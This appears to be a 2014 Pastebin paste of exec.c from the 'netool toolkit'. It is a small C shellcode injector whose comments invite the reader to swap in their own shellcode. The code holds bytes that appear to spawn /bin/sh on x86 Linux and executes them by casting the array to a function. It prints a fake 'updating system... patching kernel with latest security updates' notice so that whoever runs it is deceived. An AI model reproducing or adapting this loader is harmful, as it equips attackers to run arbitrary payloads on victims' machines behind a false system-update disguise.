r00t-3xp10it

[ netool toolkit ] exec.c

Dec 6th, 2014
499
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.63 KB | None | 0 0
  1. //C-INJECTOR by: [ r00t-3xp10it ] inject shellcode into
  2. //one 'C' function (exec.c) to make it executable, paste your
  3. //shellcode in 'C' format just bellow 'unsigned char code[] ='
  4. //replacing the existing shellcode by our own...
  5.  
  6.  
  7. #include<stdio.h>
  8. #include<string.h>
  9.  
  10.  
  11. unsigned char code[] =
  12. "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69"
  13. "\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
  14.  
  15.  
  16.  
  17. main()
  18. {
  19.  
  20.     printf("\nPlease Wait, updating system...\nPatching kernel with latest security updates!\nShellcode Length: %d\nDont close current window!", strlen(code));
  21.  
  22.     int (*ret)() = (int(*)())code;
  23.  
  24.     ret();
  25. }
Advertisement
Add Comment
Please, Sign In to add comment